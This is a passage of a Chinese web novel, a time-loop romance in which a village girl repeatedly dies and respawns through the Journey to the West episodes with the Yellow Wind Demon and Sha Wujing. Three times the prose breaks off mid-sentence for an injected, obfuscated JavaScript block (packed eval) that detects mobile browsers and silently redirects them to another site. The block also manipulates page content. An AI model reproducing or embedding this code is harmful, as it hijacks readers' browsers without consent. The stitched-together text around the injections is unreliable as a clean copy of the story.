他显然没料到,这个一向怂得要命的小村妇,竟然敢这么直白地接他的话。 肖小夭自己其实也后怕,但话都放出去了,只能硬着头皮继续刚:“大圣特意变成这样来找民女,总不能就是为了骗句夸奖吧?” 悟空盯着她看了足足两秒。 随后,他突然仰起头,发出了一阵低沉爽朗的大笑。 那笑容和之前试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347400|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探时的冰冷截然不同,透着一股真正觉得有趣的鲜活。 “有意思。”他恢复了猴形,那张俊美的男人脸瞬间消失,变回了毛茸茸的模样,语气里带着几分欣赏,“你这凡人,倒真是不怕老孙。” 肖小夭心想:怕有什么用?怕你就不钓鱼执法了? 悟空往后退了一步,将金箍棒扛在肩上。 “行了。”他说,“既然你不想说,老孙今天就不问了。” 他转过身,大步往山路上走去。 走出三步,他突然停下,微微侧过头,金色的眼瞳瞥向她。 “那,下次见。” 话音未落,他纵身一跃,化作一道金光,瞬间消失在险峻的山林间。 肖小夭站在原地,捂着心口,大口大口地喘着气。 心跳还是很快,快得像是要蹦出胸腔。 这猴子绝对是故意的!散发什么该死的魅力! 她深吸了好几口气,才勉强平复下来。正准备转身回村,身后突然传来一个苍老而平和的声音。 “翠儿。” 肖小夭脚步一顿,转过头。 是那个在墙根晒太阳的老头。他不知何时睁开了眼睛,正幽幽地看着她。 肖小夭没敢回话,怕一开口暴露了自己根本不知道大爷是谁。 “那猴子,刚才对你说了什么?”老头问。 肖小夭心里一紧,含糊道:“没……没什么,就闲聊了几句。” 老头盯着她看了两秒,突然咧开干瘪的嘴,笑了一下。 “丫头,应该有人给你带过话了吧。”老头慢吞吞地说,原本浑浊的眼睛里,突然透出一股深不见底的锐利。 “这只是一场‘测试’。不要投入太多,更不要动凡心。否则……你会被这局棋里的因果吞噬得渣都不剩。” 肖小夭脑子“嗡”的一声。 又是测试?!又是因果?! 高老庄的瘸腿婆婆,黄风岭的墙根老头……这些明明是背景板的NPC,到底是什么人?! “你……你到底是谁?”她脱口而出。 老头收回目光,重新闭上眼睛,仿佛刚才那番诡异的对话根本没发生过。 “莫问过多。”他懒洋洋地靠回墙上,“你只要记得就好。” 肖小夭站在风中,起了一身鸡皮疙瘩。 ………… 傍晚时分,肖小夭心事重重地回了茅草屋。 老太太还在屋里择菜,掀起眼皮看了她一眼:“死丫头,一下午跑哪儿去了?” “在村口呢。”肖小夭随口胡诌,“来了几个过路的和尚,我给他们指了指路。” 老太太点点头,没再追究。 肖小夭拿了个小板凳,坐在灶台前烧火。灶膛里火苗噼啪作响,映得她脸颊发烫。 她脑子里一会儿是那只猴子变成俊美青年的脸,一会儿是那老头神神叨叨的警告,搅得她心烦意乱。 “轰——隆隆!!!” 正出神间,远处的天边突然传来一声震耳欲聋的巨响,连带着脚下的地面都剧烈震颤了一下! 肖小夭猛地站起身,扔下火钳跑到门口往外看。 只见远处的半山腰上,佛光与妖气冲天而起!漫天黄沙中,隐隐约约能看见那抹熟悉的金色身影正在半空中翻飞,跟一团巨大的黄色妖风激烈碰撞。 隔着这么远的距离,都能感觉到那股毁天灭地的恐怖威压。 老太太也吓得丢了菜叶子,扶着门框往外看:“哎哟我的老天爷,这是神仙打架了啊!” 肖小夭没说话。她死死盯着那个方向,正琢磨着要不要趁机多活一会儿,混点系统奖励。 就在这时,那团黄色的妖风突然暴涨! 天色瞬间暗了下来,仿佛末日降临。 “呼——!!!” 一阵狂暴至极的飓风,以摧枯拉朽之势从山上席卷而下! 那不是普通的风,那是黄风怪的绝技——能吹得天地暗淡、鬼神愁的三昧神风! 风速太快了。 所过之处,村口的百年老树连根拔起,茅草屋的屋顶瞬间被掀飞,飞沙走石如同刀片一般在空气中肆虐。 肖小夭甚至连一句“卧槽”都没来得及骂出口,整个人就像一片毫无重量的树叶,被狂风瞬间卷上了半空! 她在风暴中心剧烈翻滚,天旋地转,耳边全是风刃撕裂空气的尖啸声。 眼看着一块磨盘大小的巨石在风中朝她的脑袋砸来。 躲不开。绝对躲不开。 肖小夭绝望地闭上了眼睛。脑子里闪过最后一个憋屈的念头: 不是,大爷的!我离战场八百里远,这也能被AOE波及死啊!!! 巨石砸下的瞬间,她手腕内侧的红色符文突然爆发出极其微弱却坚韧的金光,将她的灵魂死死裹住。 紧接着,眼前彻底陷入黑暗。 【系统】:警告!检测到致命物理打击! 【系统】:宿主当前物理载体已被摧毁! 【系统】:检测到【无名护身符】生效,宿主灵魂完整度100%。痛觉屏蔽已开启。 【系统】:宿主已死亡。正在为您重启下一个剧情节点…… 12. 忘本的小妖精 四周一片昏暗,只有几支油脂火把插在粗糙的石壁上,燃烧时发出“噼啪”的爆裂声。火苗被洞里阴冷的穿堂风吹得一颤一颤的,光影在石壁上疯狂扭动,像无数张牙舞爪的鬼影。 空气里弥漫着一股极其复杂的味道——劣质水酒的酸气、烤肉烧焦的糊味、还有一股刺鼻的妖物腥臊气,混在一起直冲天灵盖。肖小夭鼻子一痒,差点打出一个惊天动地的喷嚏,硬生生掐着大腿忍住了。 她低头打量自己:一身灰扑扑的粗布小妖服,腰间胡乱系着根麻绳。衣服上还沾着几块发硬的油渍,也不知道是哪顿饭蹭上去的。伸手摸了摸脸,手感不对,顺势往上一摸——系统还真讲究,给她脑袋上安了一对毛茸茸的尖耳朵。 肖小夭愣了三秒。 虽然她叫小夭吧,但系统你是真不客气,还真让她当小妖了啊! 上一刻,她还在黄风岭村口,被三昧神风卷上天,那翻江倒海、五脏六腑都要移位的感觉,现在还刻在灵魂里。好在坠地被巨石砸碎脑袋的前一秒,手腕上的【无名护身符】红光大作,保住了她的灵魂没受一点硬伤。 她悄悄掐了一把自己的大腿。 疼。 活着,又是新的一局。那现在是哪儿? 【系统】:宿主上一轮物理载体已被剧情抹杀,灵魂转移重启完成。当前身份:黄风洞打杂鼠妖。当前时间点:黄风怪即将与孙悟空交手。 肖小夭在心里疯狂竖中指:我离战场八百里远被AOE刮死,这也叫剧情抹杀?! 【系统】:临时任务触发。黄风怪的三昧神风威力巨大,唯有定风丹可破。定风丹目前藏于后洞密室。宿主需打探定风丹确切下落,并将消息传递给孙悟空。 【系统】:任务完成奖励:存活时间延长(注:具体延长时长视周遭物理环境而定)。 肖小夭挑了挑眉。 行吧,定风丹。这可是这关的通关道具。 她端起旁边石桌上的一个木托盘,顺从地往前走。托盘上放着几壶酒,粗陶酒壶的边角都磕破了,里面的浑酒随着脚步晃荡,溅出几滴落在她手上,黏糊糊的。 一路上小妖来来往往,有的扛着生锈的刀枪,有的抱着酒坛子,还有的拖着半扇血淋淋的野猪肉,乱哄哄地挤来挤去。没人注意她这个低等的小杂役。 走到一个岔路口,她正琢磨往哪边走,身后突然炸响一个尖细的声音。 “喂!新来的!” 肖小夭一哆嗦,赶紧回头,看见一个小妖头目正叉着腰站在她身后。那家伙尖嘴猴腮,一双绿豆眼滴溜溜地转,狐疑地上下打量着她。 “是、是……”肖小夭夹着嗓子,低着头装孙子。 小妖头目冷哼了一声:“愣着干什么?把酒送到议事厅去,大王正发火呢,仔细你的皮!” 肖小夭连连点头,端着托盘,顺着小妖头目指的方向溜了过去。 穿过几条狭窄的通道,眼前豁然开朗。这是一个巨大的天然石厅,比刚才宽敞数倍,石壁上插满了火把。大厅正中的高台上摆着一张铺着虎皮的石椅,上面坐着一个黄毛炸立的妖怪,正是黄风怪。 那家伙长得可真够磕碜的——眼珠子往外凸,满脸横肉,咧着一张血盆大口,露出森森尖牙。手里正攥着一根不知什么动物的腿骨,啃得满嘴流油。 两边站着十几个小妖头目,正吵吵嚷嚷地附和着。 肖小夭缩着脖子,走过去把酒壶放在侧面的石桌上,动作又轻又快,耳朵却竖得老高。 黄风怪把骨头一扔,粗哑着嗓子骂道:“那雷公嘴的和尚确实有些手段!要不是本大王有三昧神风护体,今天还真让他钻了空子!” 一个小妖头目立刻满脸堆笑地凑上去:“大王神威!不过大王,那猴子诡计多端,咱们的定风丹可得藏好了,万一被他摸了去……” “哈哈哈哈哈——”黄风怪狂妄地大笑,震得洞顶的碎石簌簌往下掉,“笑话!定风丹就藏在后洞密室的石匣里,门上还有本大王的独门禁制!除了我,谁也进不去!那猴子若是敢来偷,本大王一口神风连人带魂把他吹到西天去!” 肖小夭眼睛一亮。 后洞密室,石匣,禁制。情报到手! 她默默记下,低着头正准备退出去。 刚走到议事厅门口,一个小头目叫住了她:“喂!那个长着尖耳朵的!去后洞把那堆烂兵器搬出去扔了,别在这儿碍眼!” 肖小夭心里简直乐开了花:打瞌睡就有人送枕头! 她赶紧应了一声,端着空托盘快步往后洞走。 后洞阴暗潮湿,堆满了杂物,破兵器、旧箱子、发霉的布匹乱七八糟地堆成一座小山。而在最深处的角落里,果然有一扇紧闭的厚重石门,门上刻着几道弯弯曲曲的暗红色符文,正隐隐泛着微光。 肖小夭丢下托盘,凑近盯了那石门几秒。 密室肯定就是这儿了。可问题是,大圣人呢?怎么把消息传给他? 她正发愁,耳边突然传来一阵极其细微的“嗡嗡”声。 一只绿头苍蝇不知从哪飞了出来,明目张胆地落在了她面前的破箱子上。 肖小夭没在意,下意识地挥了挥手想赶走它。 那苍蝇飞了起来,却没走,反而围着她的脸绕了一圈。 又绕了一圈。 然后—— 金光毫无预兆地一闪! 肖小夭连眨眼的时间都没有,一只骨节分明、极其有力的手臂已经“砰”的一声撑在了她耳边的石壁上! 高大挺拔的身影瞬间压了下来,将她整个人死死笼罩在阴影里。她吓得倒抽一口凉气,后背紧紧贴在冰凉的石壁上,退无可退。 眼前,是那张极具冲击力的俊脸。 宽肩窄腰,玄衣墨发,剑眉星目。大圣又用了上一轮把她撩得七荤八素的那个绝美人类拟态。此刻,他正居高临下地看着她,嘴角噙着一丝玩味又危险的笑。 他离得太近了。 近到她能清晰地看清他浓密睫毛的弧度,甚至能闻到他身上那股有别于妖洞恶臭的、属于山野的干净气息——像是阳光晒过的青草,又像是凛冽的松风。 肖小夭的大脑直接当机。 “小妖精。”男人微微低下头,压低了嗓音,声音里带着震颤人心的磁性,“又见面了。” 他温热的呼吸轻轻拂在她的额头上,带着一点点让人头皮发麻的痒。 肖小夭的脸瞬间涨得通红,那对系统发的假鼠耳烫得简直要烧起来,整个人僵成了一块木板。 “你、你……大圣你……”她结结巴巴,舌头疯狂打结。 悟空微微歪着头,目光放肆地在她脸上游走:“怎么?上回是傲骨铮铮的小村姑,这回成贼眉鼠眼的小妖了?不过……” 他突然伸出另一只手,两根修长的手指轻轻捏住了她脑袋上那只尖尖的假耳朵,揉捏了一下。 “这假耳朵,手感还挺别致。” 肖小夭浑身猛地一颤,像被细微的电流击中,腿都软了一下。 “别、别捏……”她红着脸,声音小得像蚊子哼哼。 悟空喉咙里溢出一声低笑,倒是顺从地收回了手。 “上回在村口,你可不是这么软弱可欺的。”他盯着她躲闪的眼睛,似笑非笑,“上回你胆子挺大,还敢跟老孙顶嘴。这回怎么怂成这样了?” 肖小夭心里疯狂咆哮:废话!你现在把我按在墙角,顶着这张脸这么说话,谁能不怂啊! “奴、奴婢第一次见大圣……”她试图做最后的挣扎。 悟空盯着她,嘴角的弧度慢慢扩大。 “第一次?”他故意拖长了尾音,“那上回在村口,是谁脸不红心不跳地说,‘长得是挺好看的,多看两眼怎么了’?” 肖小夭彻底噎住了。互联网是有记忆的,大圣也是有记忆的! “奴婢……奴婢不记得了……”她死鸭子嘴硬。 悟空突然又凑近了一寸,近到高挺的鼻尖几乎要擦过她的额头。 “不记得?”男人漆黑的眼眸深邃如渊,声音低哑得致命,“那你的心,为什么跳得这么快?” 肖小夭感觉自己的心跳声大得简直像在洞里打鼓,“咚咚咚咚”,这该死的猴子绝对听得一清二楚! “奴、奴婢是……是因为见到了大圣的神威,紧张……”她咬着牙扯谎。 悟空就那么定定地盯着她看了几秒。 就在肖小夭以为他要继续逼问时,他突然抬起手—— 不是捏耳朵,也没有掐脖子。 而是曲起食指,在她光洁的额头上,不轻不重地点了一下。 “笃。” 就那么一下,像敲木鱼似的。 “行了。”他直起身子,声音里的戏弄褪去,换上了几分温和,“不逗你了。” 肖小夭愣住了。 他收回撑在墙上的手,退开半步。那双眼睛在昏暗的洞穴里亮得惊人。 “那么,这位打杂的小妖精。”他抬了抬下巴,切入正题,“告诉老孙,你们大王的定风丹,藏在何处?” 肖小夭立刻从美色中清醒过来,深吸了一口气,压低声音快速说道:“就在那扇石门后面。有个石匣子,门上有黄风怪亲手布的禁制。” 悟空顺着她指的方向扫了一眼,目光在那几道暗红色的符文上停留了一瞬,发出一声极其不屑的轻嗤。 “确定?” “我刚才在前厅听他亲口说的!” 【系统】:叮!情报传递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347401|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成功。临时任务已完成。 【系统】:奖励发放:存活时间已为您延长至——此山洞塌方之前。 肖小夭心里升起一股极其不祥的预感:等等,塌方?! 悟空点了点头:“行。” 他转过身,没再变苍蝇,而是直接化作一道璀璨的金光,“轰”的一声撞开了那扇所谓的禁制石门,钻进了密室! 肖小夭捂着还在狂跳的胸口,来不及回味刚才的壁咚,脑子里只有一个念头:跑! ………… 不出三分钟。 洞穴深处突然传来黄风怪撕心裂肺的狂吼:“谁!!!谁偷了本大王的定风丹!!!” 那声音夹杂着狂暴的妖力,震得整个洞壁剧烈摇晃,大块大块的石头“簌簌”往下砸! 整个黄风洞瞬间炸了锅!小妖们鬼哭狼嚎,四处乱窜,有的撞在石壁上磕破了头,有的被掉下来的石头砸断了腿,现场惨不忍睹。 肖小夭仗着体型小,死命地跟着大部队往洞外跑。 跑出洞口,刚冲下山坡。 身后便传来“轰隆隆”的灭世巨响——失去定风丹的黄风怪彻底暴走,在洞口疯狂喷出了三昧神风! 飞沙走石,天地变色! 肖小夭回头看了一眼。 半空中,金光爆闪!悟空已经恢复了猴形,他身上怀揣着刚拿到的定风丹,那毁天灭地的三昧神风竟然连他的一根猴毛都吹不动!大圣顶着狂风,宛如战神一般劈开风阵,一棍子将黄风怪打得节节败退! “轰!” 一块被气浪掀飞的巨石砸在肖小夭脚边。 她脚下一滑,整个人失去重心,顺着陡峭的山坡狂滚下去! 天旋地转! 尖锐的石头割破了她的衣服,荆棘划在脸上火辣辣地疼,骨头仿佛都要散架了。 眼看就要撞上一块凸起的尖岩—— 在那极其短暂的下坠瞬间,她迷迷糊糊地睁开眼,视线扫过远处的山头。 在漫天黄沙中,一个拄着拐杖的老头正静静地站在崖边,面无表情地看着她这边的惨状。 那双浑浊却锐利的眼睛,在混乱中显得格格不入。 她认出他了。 是村口那个晒太阳的老头!他怎么会出现在这儿?! 还有,系统你大爷的!延长存活时间就是让我活到摔死是吧?! “砰!” 后脑勺重重撞上树干,眼前彻底陷入了无边的黑暗。 但在失去意识的最后一秒,她手腕内侧的红色符文再次悄然亮起,稳稳护住了她的魂魄。 【系统】:检测到致命物理伤害。宿主当前载体已死亡。 【系统】:灵魂完好无损。世界线干涉度重新结算中……正在为您重启…… ………… 狂风停歇。 黄风怪已被制服,现出了黄毛貂鼠的原形,被随后赶到的灵吉菩萨带走。 悟空从云端降落,将金箍棒收回耳内。 他没有理会还在那边整理衣衫的唐僧,也没有跟八戒搭话,而是径直走到刚才交战的山坡下。 那里有一道极深的新鲜划痕,从洞口一路延伸到山脚。 悟空沿着划痕,身形一晃,落在那棵粗壮的古树旁。 地上有一滩刺目的暗红色血迹。 旁边的灌木枝上,还挂着一小片被撕裂的、灰扑扑的粗布衣角。 悟空静静地站在那儿,身后的尾巴垂了下来,一动不动。 片刻后,他缓缓蹲下身,伸出修长的手指,在那滩血迹上轻轻沾了一点。 放在鼻尖闻了闻。 是她的。 那个总是能认出他、总是一副怂样、却又敢顶嘴的小妖精。又死了。 悟空盯着指尖的血迹,暗金色的眼眸里翻涌起一种他自己都觉得陌生的情绪。像是恼怒,又像是一种难以名状的憋闷。 他缓缓攥紧了拳头,骨节捏得发白。 “大师兄!” 八戒从后头呼哧呼哧地跑过来,手里还捧着那颗定风丹,“定风丹拿回来了!哎,你看什么呢?” 悟空没有回头。 他随手施了个除尘诀,将指尖的血迹抹去,站起了身。 “那边有什么宝贝吗?”八戒好奇地探头探脑。 悟空转过头,眼神冷得让八戒硬生生打了个寒颤。 “没什么。”悟空声音极低,透着一股压抑的寒意,“一只命薄的小妖精罢了。” 他大步朝着唐僧的方向走去,背影挺拔却透着几分生人勿近的戾气。 八戒挠了挠头,看着地上的血迹嘟囔了一句:“一只死妖精,看那么半天干嘛……” 他没敢多问,赶紧捧着珠子追了上去。 13. 沙僧的储备粮 肖小夭醒来的时候,发现自己正一颠一颠的。 不是自己走路的那种颠,而是像个破麻袋一样被人扛在肩上、大步狂奔的那种颠。后背死死硌着一块硬邦邦的肌肉,肚子卡在一团软肉上,整个人呈倒挂姿态。血液全往脑袋上涌,晕得她直犯恶心。 眼前昏暗的画面随着步伐疯狂晃动——地,天,地,天,地,天…… 她挣扎着想动,却发现腰上箍着一只蒲扇般的大手,跟铁钳似的,根本撼动不了分毫。那手不仅力气大,掌心还全是粗糙的老茧,隔着单薄的衣料把她腰侧的皮肤蹭得生疼。 她努力睁开眼,视线好不容易聚焦。先看见的是飞速后退的地面——大片大片的泥沙地,寸草不生。然后,她看见了一双粗壮的腿。 那腿上长着浓密的汗毛,跑起来时肌肉一鼓一鼓的。顺着大腿往上偷瞄…… 蓝皮肤。红褐色的破布裙。 肖小夭心里“咯噔”一下,艰难地扭过头,往上看去。 一头乱糟糟的红发,跟一堆枯草似的炸在风中。一张靛青色的脸庞,青得发黑,两只眼珠子像铜铃一样往外凸着,面相凶神恶煞。那咧开的血盆大口边,甚至还挂着点没擦干净的暗红色血丝。 沙悟净! 还没被观音菩萨点化、还在流沙河吃人的那个野生沙僧! 【系统】:宿主重启成功。当前身份:流沙河附近误入险境的采药女。 【系统】:警告!宿主当前状态:【流沙河水怪的储备粮】。生命倒计时:极度危险。 肖小夭脑子“嗡”的一声炸开了。 系统你大爷!储备粮?! 那妖怪心情似乎极好,一边跑一边哼着不知名的小曲,调子跑得乱七八糟,比黄风洞那些小妖嚎得还难听。哼着哼着,他突然感觉到肩上的“麻袋”僵硬了一下。 他脚步一顿,低下那颗红毛脑袋瞥了一眼。 正好对上肖小夭那双惊恐万状、瞪得溜圆的眼睛。 “哟!”沙僧咧开大嘴笑了,露出一口森森尖牙,牙缝里居然还塞着一丝不明肉屑,“醒了?醒了好啊!醒了的肉才新鲜,吓死了的肉发柴发酸,不好吃!” 肖小夭刚想求饶,突然感觉屁股上挨了结结实实的一巴掌。 “啪!” 声音清脆响亮。 “不错不错!”沙僧像个挑剔的屠夫在菜市场验猪肉一样,满意地颠了颠她,“这肉还是挺足的,够本大王吃上两三顿了。身板是瘦了点,但胜在年轻。先吃腿,腿肉紧实,留着明天清蒸;后天吃胳膊,拿来烤……” 肖小夭整个人都石化了。 她,一个黄花大闺女,被一个长着蓝脸红毛的妖怪拍了屁股!验肉质?! 还是那个以后会老实巴交挑担子、三棍子打不出一个屁的沙和尚! 肖小夭在心里疯狂咆哮:你以后可是个老实和尚啊喂!你现在怎么这样!你要不要脸!你知不知道你以后每天只会喊“大师兄!师父被妖怪抓走了”?! 但她嘴上一个字也不敢骂。这可是真吃人的主儿! “大、大王……”她哆嗦着开口,声音带上了哭腔,“您行行好,别吃我……我不好吃的!” 沙僧不屑地哼了一声:“送到嘴边的活肉,哪有放过的道理?” “我真的不好吃!”肖小夭急中生智,拼命贬低自己,“我天天干粗活,风吹日晒,肉又柴又酸,塞牙得很!您吃了肯定闹肚子!” 沙僧又顺手拍了她一下,震得她七荤八素。 “小丫头片子,骗谁呢?”他咧嘴嗤笑,“我刚才捏过了,嫩得很。你这种细皮嫩肉的小姑娘,骨头都能嚼碎了咽下去,最是香甜。” 肖小夭快绝望了。眼看硬的不行,只能来骗的了。 “大王!大王您想想!”她扯着嗓子喊,“您要是吃了我,一顿就没了!您要是放了我,我天天给您送吃的来!鸡鸭鱼肉,牛羊猪仔,什么都有!” 沙僧笑了,那笑容配上他那张青脸,说不出的瘆人。 “小丫头,你当本大王傻?我在这流沙河吃了成百上千的人,什么花言巧语没听过?放了你,你转头就带法师来收我。” 说着,他不再理会她的挣扎,扛着她继续往前走。 风中传来一股浓烈刺鼻的腥气。 肖小夭被颠得头晕眼花,勉强抬起头,只见眼前出现了一条极其宽阔、浑浊不堪的大河。 河水是浑黄色的,死气沉沉,连一丝波纹都没有。水面上飘着几根枯枝,竟也直直地沉了下去,连风都吹不起半点涟漪。 “八百流沙界,三千弱水深。鹅毛飘不起,芦花定底沉。” 肖小夭脑子里闪过原著的描述,心彻底凉了。 河边的沙滩上,密密麻麻散落着森森白骨,有野兽的,也有人的,在阳光下泛着惨白的光。 她要是被丢进这弱水里,连挣扎的机会都没有,直接沉底喂王八! 必须抛出王炸了! “大、大王!”她突然声嘶力竭地大喊。 沙僧不耐烦地停下脚步。 “您是不是在等一个吃斋念佛的和尚?!”肖小夭死死盯着他。 沙僧一愣,眼神瞬间变了,透出一股凶光:“你怎么知道?” 肖小夭心跳如擂鼓,嘴上却跟连珠炮似的:“我猜的!您一看就是有品位的大妖!吃我们这些粗人算什么本事?我听村里人说,东土大唐来了一个取经的和尚,那是十世修行的好人!吃他一块肉就能长生不老,不比吃我强一万倍?!” 沙僧被戳中心事,眼底闪过一丝贪婪的光芒。 “算你有点见识。”他舔了舔嘴唇,“我在这儿苦熬了几百年,就是为了等那个取经人!” “大王!”肖小夭赶紧趁热打铁,“我刚才在村口采药,看见他们了!” 沙僧猛地停下脚步,一把将她从肩上拎了下来,像拎小鸡一样提在半空,一双凸出的眼珠子死死瞪着她:“当真?!” 肖小夭脚够不着地,只能拼命点头:“千真万确!一个白白净净的和尚,骑着白马,穿着金灿灿的袈裟!后面还跟着一只拿棍子的毛脸雷公嘴猴子,和一个扛着钉耙的猪头胖子!他们化缘时亲口说的,是从东土大唐去西天的!” 沙僧的眼睛瞬间亮了,简直要喷出绿光来。 “往哪儿去了?!” 肖小夭往身后的山道胡乱一指:“就从那边过来的,估摸着马上就要到河边了!” 沙僧盯着她看了几秒,那目光像是在打量一盘暂缓食用的开胃小菜,又像是在评估情报的真伪。 过了几秒,他阴森森地咧开嘴:“小丫头,你要是敢骗我……” 他没把话说完,但威胁的意味不言而喻。 他拎着肖小夭走到岸边。 弱水里,正漂浮着一串极其诡异的东西——九个巨大的人头骷髅!它们被一根粗壮的红绳串在一起,结成了一个简易的排筏。骷髅那空洞的眼眶直勾勾地盯着天空,阴森至极。 沙僧随手一抛,“砰”的一声将肖小夭扔在了那个骷髅筏子上。 “待在这儿别动。”他冷冷地警告,“这流沙河连鹅毛都浮不起来,只有我这九个取经人的骷髅能不沉。你要是敢跑,掉进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347402|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水里直接烂成泥。乖乖等着,等我吃了那唐僧,再来拿你当饭后甜点!” 说罢,他身形一闪,“噗通”一声扎进了水底,潜伏到了岸边茂密的芦苇丛里。 肖小夭趴在冰冷坚硬的骷髅头上,被硌得浑身疼,一动都不敢动。 身下那些骷髅空洞的眼眶仿佛在无声地嘲笑她,有几个甚至还保持着死前痛苦张嘴的姿势。 她浑身发冷,看着那条死气沉沉的河,心里只有一个念头: 大圣,大爷,祖宗……你快点来啊! ………… 不知在骷髅堆里趴了多久,远处的沙石路上,终于传来了错落有致的马蹄声。 肖小夭猛地抬起头。 一队人马沿着河边缓缓走来。走在最前面的是骑着白马、穿着锦襕袈裟的唐僧。后面跟着牵马的猪八戒,而那只穿着虎皮裙、金灿灿的猴子,正扛着金箍棒,优哉游哉地走在最后面。 悟空! 肖小夭眼泪都快下来了:你可算来了! 她想扯着嗓子求救,但喉咙像被死死掐住了一样——不敢喊。沙僧就藏在不远处的芦苇丛里,只要她一出声,惊动了妖怪,说不定第一个被拖下水撕成碎片的就是她。 她急得满头大汗,只能小心翼翼地半跪在骷髅筏子上,朝着岸边拼命打手势! 她先是疯狂指了指河面,然后指了指自己的嘴,做出一个“要被吃了”的夸张表情;接着双手在空中比划了一个大大的圈,最后指向芦苇丛,做了一个抹脖子的动作。 意思很明确:水里有妖怪!有埋伏!要杀你们! 距离太远,她根本不知道悟空能不能看见。 就算看见了,他能懂这跨服交流的乱码手势吗?! 但她只能赌。 岸上。 悟空正漫不经心地走着,长长的尾巴在身后有一搭没一搭地晃着。他似乎正在听唐僧絮叨着什么,但那双火眼金睛却不安分地四处乱瞟,一会儿看看天上的云,一会儿看看地上的沙。 然后,他的目光随意地扫过了河面。 扫过了那个阴森的骷髅筏子。 扫过了那个正跪在骷髅上、张牙舞爪像个疯子一样比划的粗布村姑。 目光顿住了。 一秒。 两秒。 三秒。 肖小夭心跳如鼓,见他看过来,手上的动作更加剧烈了。她指了指芦苇丛,双手合十做了个“保护唐僧”的姿势,急得额头青筋都冒出来了。 隔着浑浊的流沙河。 肖小夭清清楚楚地看见,悟空的眼睛突然亮了。 就那么一瞬,暗金色的瞳孔里像是有两簇小火苗被瞬间点燃。他那张毛茸茸的脸上,嘴角微微往上一挑,勾起了一个极度桀骜、又带着几分不可思议的笑意。 他认出她了。 哪怕她又换了一副皮囊,哪怕她现在狼狈得像个祭品,他在对视的瞬间,就认出她了。 肖小夭僵在原地,忘了动作。 悟空盯着她看了两秒,然后,在唐僧回过头之前,他微微点了点头。 就那么一下,非常轻微,轻得几乎像是在活动脖颈。如果不是肖小夭一直死死盯着他,根本注意不到。 随后,他极其自然地收回了目光,若无其事地继续往前走,嘴里甚至还懒洋洋地应和了唐僧一句:“师父说得是。” 但在转身的瞬间。 他的一只手已经悄无声息地抬起,摸向了耳廓。 指尖金光一闪。 一根绣花针般大小的铁棒,已经被他稳稳地捏在了掌心。 14. 骷髅筏上的移动炮台 肖小夭死死趴在骷髅筏子上,连一根手指头都不敢动。 身下那些空洞的眼眶直勾勾地盯着天空,她总觉得下一秒就会有一张骷髅嘴猛地合拢,咬下她一块肉来。 流沙河面上死气沉沉的,连一丝风都没有。那浑黄的弱水看起来黏稠无比,像一锅放了三天的坏粥。偶尔从底下的暗流涌上来几个水泡,“咕嘟”一声炸开,散发出一股令人作呕的腥气。 她转动僵硬的脖颈,眼巴巴地盯着岸上。 唐僧已经下了马,正站在河边看着那块巨大的界碑。八戒凑过去瞅了一眼,挠了挠蒲扇般的大耳朵:“师父,这河看着就不对劲啊,连个渡船都没有,咱们怎么过?” 唐僧愁眉苦脸地叹了口气,没有说话。 而悟空,正姿态随意地蹲在界碑旁的一块青石上。他手里把玩着那根绣花针大小的金箍棒,火眼金睛看似在打量河面,余光却始终锁定在河中心那个诡异的骷髅筏子上。 肖小夭松了口气。 看来刚才那番跟个猴子似的狂魔乱舞,大圣是真的看懂了。 【系统】:当前身份:流沙河畔采药女。 【系统】:临时任务触发:协助取经团队收服沙悟净。任务成功奖励:存活时间延长。 肖小夭在心里绝望地比了个中指:协助?我现在就像个被端上餐桌的祭品,趴在这堆死人头上一动都不敢动,你让我拿头去协助啊?! 正腹诽着,原本死寂的河面突然异变陡生! “哗——轰!” 一声巨响,水花炸起数丈高! 一道红毛蓝脸的魁梧身影如炮弹般从水底窜出,踏浪而行,手里倒拖着一柄寒光闪闪的降妖宝杖(月牙铲),带着凌厉的杀气,直扑岸边的唐僧而去! “有妖怪!师父当心!” 八戒反应极快,大喝一声,反手抽出九齿钉耙,迎着那水怪就砸了过去! “当——!!!” 钉耙和宝杖在半空中狠狠撞在一起,火星四溅!巨大的反震力让八戒退了两步,踩出两个深深的沙坑,而那水怪也借力在空中翻了个跟头,稳稳落在了浅滩上。 与此同时,一道金光闪过。 悟空已经闪现到唐僧身边,一把抓住唐僧的后衣领,带着他瞬间掠出十几丈远,稳稳落在一个安全的沙丘上。 “呆子!”悟空将金箍棒往地上一杵,“你且试试他的斤两,莫要让他惊了师父!” 八戒站稳了身子,上下打量了那妖怪一眼,乐了:“嘿!红毛配蓝脸,你这穿搭倒是别致。哪路的水怪,报上名来!” 沙僧凶神恶煞地瞪着他:“你管我是谁?你又是哪根葱?!” 